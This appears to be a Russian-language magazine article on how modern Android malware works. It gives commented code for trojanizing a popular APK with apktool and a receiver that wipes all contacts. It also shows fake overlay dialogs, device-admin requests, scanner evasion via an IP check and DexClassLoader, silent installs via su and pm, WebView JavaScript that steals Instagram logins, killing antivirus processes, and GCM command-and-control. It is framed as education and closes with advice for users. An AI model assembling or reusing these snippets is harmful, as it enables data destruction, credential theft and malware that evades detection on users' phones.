Содержание статьи
В наше время люди доверяют все больше личной информации смартфонам и планшетам. Просмотреть аккаунты в соцсетях, фотографии и почтовые сообщения, узнать банковские данные, местоположение и даже распорядок дня можно, получив доступ к данным смартфона. Злоумышленники используют ошибки в программном обеспечении, недокументированные возможности, а в большинстве случаев — людские слабости и пороки, чтобы внедрить малварь на устройство. Вредоносные программы становятся все хитрее и изворотливее, пытаясь скрыть свое присутствие. И если одни просто вываливают на пользователя кучу рекламы, то другие вовсе не так безобидны. Хорошенько обосновавшись на смартфоне, они шантажируют юзера, заставляя его платить за доступ к своим же данным, а то и следят за каждым его шагом и действием. О самых модных тенденциях в создании и распространении вирусов и пойдет речь в этой статье.
WARNING
Все описанные в статье моменты проиллюстрированы большим количеством откомментированного кода. Автор и редакция не несут ответственности за неправомерное использование информации из данного материала. Листинги представлены исключительно в образовательных целях!
Заражение
Самый простой и распространенный способ заражения — взять популярную программу, расковырять ее и вставить внутрь нехороший код. Затем запаковать и выдать за бесплатную версию или версию с дополнительными функциями. Такие программы «с сюрпризом» появляются не только в неофициальных магазинах приложений для Android, периодически они просачиваются и на официальный Play Market.
Реализуется такой подлог очень просто.
- Злоумышленник скачивает APK популярной программы с маркета, воспользовавшись, к примеру, этим сервисом.
- Распаковывает приложение утилитой apktool:
apktool -d <имя файла приложения>
- Пишет код зловреда, например получатель широкоформатных уведомлений, который срабатывает после перезагрузки устройства и начинает посылать команды другим частям зловреда каждую секунду:
public class VirusController extends BroadcastReciever { public void onReceive(Context context, Intent intent) { AlarmManager service = (AlarmManager)context.getSystemService(Context.ALARM_SERVICE); Intent i = new Intent(context, RunTrojan.class); i.setAction("android.trojan.action.EXTERMINATE"); PendingIntent pending = PendingIntent.getBroadcast(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT); service.setInexactRepeating(AlarmManager.RTCWAKEUP, Calendar.getInstance().getTimeInMillis(), 1000, pending); } }
- Здесь один из модулей реагирует на событие
android.trojan.action.EXTERMINATE
и уничтожает все контактные данные пользователя:
public class ExterminateModule extends BroadcastReceiver { public void onReceive(Context context, Intent intent) { ContentResolver contentResolver = context.getContentResolver(); Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); while (cursor.moveToNext()) { String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY)); Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey); contentResolver.delete(uri, null, null); } } }
Теперь хакеру нужно скомпилировать код вируса, а затем распаковать, используя все тот же apktool. Затем он добавляет smali-файлы вируса к smali-файлам программы-жертвы. Подправляет AndroidManifest, включает нужные разрешения и объявления получателей уведомлений:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
...
<receiver android:name="android.trojan.ExterminateModule">
<intent-filter>
<action android:name="android.trojan.action.EXTERMINATE"/>
</intent-filter>
</receiver>
<receiver android:name="android.trojan.VirusController">
<intent-filter>
<action android:name="android.intent.action.BOOTCOMPLETED"/>
</intent-filter>
</receiver>
Осталось упаковать программу-жертву обратно все той же утилитой apktool, и приложение «с подарочком» готово.
apktool b <папка с приложением>
Если в качестве жертвы выбрать приложение с подходящими разрешениями, то оно не вызовет у пользователя ни малейших подозрений! Если же подобрать необходимые разрешения не получается, то вирусам приходится заставлять пользователя дать им расширенные права, показывая свой диалог поверх системного.
Например, так поступают Trojan-Banker.AndroidOS.Asacub
и Trojan-SMS.AndroidOS.Tiny.aw
. Да-да, Android позволяет создавать окна, которые будут отображаться поверх всех остальных приложений и диалогов, в том числе и системных. Для этого понадобится всего лишь создать нужный View и добавить его в WindowManager:
WindowManager wm = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
width, height,
WindowManager.LayoutParams.TYPE_SYSTEM_ERROR,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
params.gravity = Gravity.LEFT | Gravity.TOP;
params.x = left;
params.y = top;
wm.addView(overlayedText, params);
Флаг TYPE_SYSTEM_ERROR
злоумышленники обычно используют, чтобы перекрыть системное окно своим View, флаг TYPE_SYSTEM_OVERLAY
— чтобы перекрыть только кнопку системного окна своим View с нужным текстом.
Запросить права администратора устройства можно с помощью интента, где VirusDeviceAdminReceiver
наследует DeviceAdminReceiver
:
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, new ComponentName(this, VirusDeviceAdminReceiver.class));
intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Объяснение, зачем нужно предоставить права этой программе");
startActivityForResult(intent, REQUEST_CODE_ENABLE_ADMIN);
В AndroidManifest нужно объявить слушатель VirusDeviceAdminReceiver
, а также прописать ресурс virus_device_admin
, в котором содержится информация о требуемых правах, и фильтр событий, на которые реагирует слушатель, в данном случае — получение админских прав:
<receiver android:name="VirusDeviceAdminReceiver"
android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data android:name="android.app.device_admin" android:resource="@xml/virus_device_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
И хотя в 5-й версии Андроида запретили показывать окна поверх системных сообщений, эта функциональность используется в таких вирусах, как Acecard, чтобы демонстрировать пользователю фейковые диалоги ввода кредитных данных поверх Play маркета, диалогов входа в соцсети и приложений для мобильного банкинга.
Чем ОС Android привлекает вирусописателей?
- Открытым кодом. Всегда можно посмотреть, как работает та или иная системная утилита.
- Распространенностью. Обновления безопасности поступают на разные модели устройств в разное время, многие вообще остаются без обновлений, что позволяет беспрепятственно использовать весьма несвежие уязвимости.
- Несовершенством антивирусных программ. Сколько бы процессоров ни было в устройстве, антивирусы все равно значительно замедляют работу ОС, поэтому пользователи неохотно их ставят.
- Слабой системой проверки приложений в маркете. Несмотря на все уверения специалистов Google о «многоступенчатой проверке», в маркет легко проникают клоны удаленных инфицированных программ, а к разработчикам таких программ не применяются никакие меры.
- Отсутствием централизованного контроля за прошивками. Разработчик прошивки может беспрепятственно вставлять любой шпионский софт по своему усмотрению.
Обход сканеров
Времена свободного доступа любого приложения в Play Market подходят к концу. Ребята из Google сообразили, что надо принимать хоть какие-то меры, чтобы остановить нашествие огромного количества вирусов, и ввели систему проверки приложений. Создатели вирусов мгновенно отреагировали и начали вставлять механизмы обхода проверки.
Один из интересных методов — отложенный старт вредоносной активности. Например, приложение месяц ведет себя как обычная игрушка или справочник, тысячи пользователей скачивают его и оставляют восторженные отзывы, привлекая все большую аудиторию. А через некоторое время в приложении вдруг просыпается зло, и оно начинает показывать фейковые диалоги, скачивать и устанавливать нежелательный софт.
Другие вирусы, такие как семейство Leech
, определяют свой IP-адрес в сети и, если он попадает в IP-диапазон, используемый Google, или же имя хоста айпишника содержит слова google, android, 1e100, сразу же прекращают работу, чтобы не вызывать подозрений у системы автоматической проверки. Причем делают они это по-хитрому, ведь если использовать стандартные средства Android, то придется запрашивать у пользователя дополнительные разрешения. Поэтому злоумышленники обращают свой взор на такие ресурсы, как ipinfo.io. Не составит труда загрузить страничку в строку и найти там нужную информацию:
URL url = new URL("http://ipinfo.io");
BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
while ( (line = br.readLine()) != null)
// Анализ строки
Развиваются и методы обхода статического анализа кода. Один из способов — использовать динамическую загрузку библиотек с вредоносной нагрузкой. В результате само приложение выглядит вполне невинно. Для загрузки внешнего кода используется класс DexClassLoader
, который умеет загружать классы из JAR- или APK-файлов в формате DEX.
DexClassLoader cl = new DexClassLoader(context.getAssets() + "/Plugins/virusmodule.jar",
context.getDir("dex", Context.MODE_PRIVATE).getAbsolutePath(),
null,
getClassLoader());
Class libProviderClazz = cl.loadClass("org.virusfactory.lib.VirusLibraryProvider");
Object instance = libProviderClazz.newInstance();
После загрузки класса можно спокойно дергать его методы с помощью рефлексии. Внешнюю библиотеку можно как разместить в самом APK, так и скачать из Сети после установки. Чтобы еще больше усложнить обнаружение вредоносного кода, злоумышленники шифруют такие программные модули и дают им трудноугадываемые имена.
Некоторые вирусописатели идут дальше и выкладывают в маркет приложения, которые после установки скачивают и устанавливают вирусные аппликухи самостоятельно, маскируя их под системные утилиты. Так что, даже если пользователь удалит изначальное приложение, вирус будет преспокойно обитать на устройстве и дальше. Такой подход реализован, например, в приложении BrainTest
.
Для установки новых приложений без ведома пользователя злоумышленники используют утилиту pm
:
Process process = Runtime.getRuntime().exec(isRoot ? "su" : sh);
DataOutputStream os = new DataOutputStream(process.getOutputStream());
os.writeBytes("LD_LIBRARY_PATH=/vendor/lib:/system/lib pm install " + apkFilePath + '\n');
Чтобы использовать эту утилиту, приложение должно либо запрашивать разрешение android.permission.INSTALL_PACKAGES
в манифесте, либо обладать правами рута. Проверить, установлено ли приложение, можно, воспользовавшись методом getPackageInfo
класса PackageManager
:
try {
context.getPackageManager().getPackageInfo(packagename, PackageManager.GET_ACTIVITIES);
// Приложение установлено
} catch (NameNotFoundException e) {
// Приложение не установлено
}
Способы обогащения
Самый простой способ нажиться на бедных пользователях — заставить их просматривать рекламу. Например, приложение Who Viewed Me on Instagram обещает показать пользователю его тайных поклонников в инстаграме, а вместо этого ворует учетные данные и размещает кучу рекламы в профиле пользователя. Приложение использует возможность вызова методов Android-приложения из JavaScript-кода. Чтобы украсть учетную запись пользователя, вредонос просит пользователя залогиниться в своем окне с WebView, а после загрузки логин-страницы инстаграма добавляет кусочек своего кода к кнопке входа.
public void onPageFinished(Webview webView, String url) {
if (url.indexOf("accounts/login") > 0 ) {
StringBuilder buffer = new StringBuilder();
// Цепляем наш обработчик для метода onsubmit
buffer.append("document.getElementByTagName(\'form\')[0].onsubmit = function() {");
// Находим все поля ввода
buffer.append("var inputs = document.getElementByTagName(\'input\');");
buffer.append("for (var i = 0; i < inputs.length; i++) {");
// Находим поле с паролем
buffer.append("if (inputs[i].type.toLowerCase() === \'password\') {inputPassword = inputs[i];}");
// Находим поле с именем пользователя
buffer.append("else if (inputs[i].type.toLowerCase() === \'username\') {inputUserName = inputs[i];}}");
// Передаем данные в Андроид-приложение
buffer.append("window.MYOBJECT.saveCredentials(inputUserName.value, inputPassword.value); retun true; }");
webView.loadUrl("javascript:" + buffer.toString());
}
}
Объявляем метод, который будет принимать учетную запись из JavaScript:
@JavaScriptInterface
public void saveCredentials(String username, String password) {
// Передаем учетную запись на сервер злоумышленника
}
Следует отметить, что после удаления одной версии программы автор сразу же разместил аналогичную, лишь слегка изменив название. И она спокойно прошла контроль со стороны Play маркета! Похоже, что Большой Брат не так уж пристально следит за разработчиками. Между прочим, количество загрузок у подобных «полезных приложений» иногда переваливает за 100 тысяч! Так что, если приложение просит тебя залогиниться в соцсеть в своем окне, самое время насторожиться и вспомнить, что конкретно тебе известно об этом приложении.
Другой набирающий популярность способ обогащения — вирусы-вымогатели. Попав на устройство, они получают права рута, часто шифруют пользовательские данные и показывают окно с требованием выкупа, предотвращая попытки пользователя запустить другие приложения. Так ведут себя, к примеру, вирусы семейства Fusob
.
Первоочередная задача программы-вымогателя — получить рут на устройстве жертвы. К сожалению простых пользователей, в Сети гуляет бесчисленное множество эксплоитов, позволяющих незаметно повысить права приложения до суперпользовательских. Например, Towelroot постоянно обновляется и совершенствуется своим создателем. Неплохую базу эксплоитов собрала группа Offensive Security, ну и конечно, все самые свежие уязвимости можно посмотреть на CVE.
Получив рут, зловред с помощью класса ActivityManager
начинает контролировать работу других приложений, убивая нежелательные:
ActivityManager manager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
// Получаем список запущенных процессов в системе
List<ActivityManager.RunningAppProcessInfo> processes = manager.getRunningAppProcesses();
String packageName = "com.antivirus";
for (ActivityManager.RunningAppProcessInfo process : processes) {
if (process.processName.equalsIgnoreCase(packageName)) {
// Убиваем все фоновые процессы, связанные с этим пакетом
manager.killBackgroundProcesses(packageName);
// Убиваем основной процесс
android.os.Process.killProcess(process.pid);
}
}
Нередко для управления вирусом-вымогателем используется GCM — ребята из Google разработали идеальную систему для отправки команд приложению и получения от него ответов. Достаточно зарегистрироваться на сервере, предварительно получив токен для работы.
public class RegistrationIntentService extends IntentService {
protected void onHandleIntent(Intent intent) {
// Загружаем токен
String token = InstanceID.getInstance(this).getToken(getString(R.string.gcm_defaultSenderId),
GoogleCloudMessaging.INSTANCE_ID_SCOPE, null);
// Регистрируемся на сервере
sendRegistrationToServer(token);
}
Теперь можно принимать любые команды, в том числе на обновление вируса, что дает злоумышленнику практически неограниченную власть.
public class VirusGcmListenerService extends GcmListenerService {
public void onMessageReceived(String from, Bundle data) {
String command = data.getString("command");
if (command.equals("update")) {
// Скачиваем обновление и устанавливаем свеженькую версию вируса
}
}
}
Есть и более безобидные способы обогащения. Например, популярное приложение «Фонарик» втихаря собирало данные о месторасположении пользователей, которые разработчик потом продавал рекламщикам для таргетирования рекламы.
Выводы
В этой статье мы разобрали все ключевые моменты кода, которые позволяют современной малвари реализовывать зловредные идеи своих плохих авторов. Обладающему этими знаниями программисту бояться нечего :), а что же делать простому пользователю? Если не хочется устанавливать кучу антивирусного софта на девайс, всегда можно скачать APK перед установкой и проверить его на наличие вирусов онлайн-утилитами, например тем же Вирустоталом. Ими же могут воспользоваться разработчики, чтобы удостовериться, что их новое приложение не будет принято за вирус.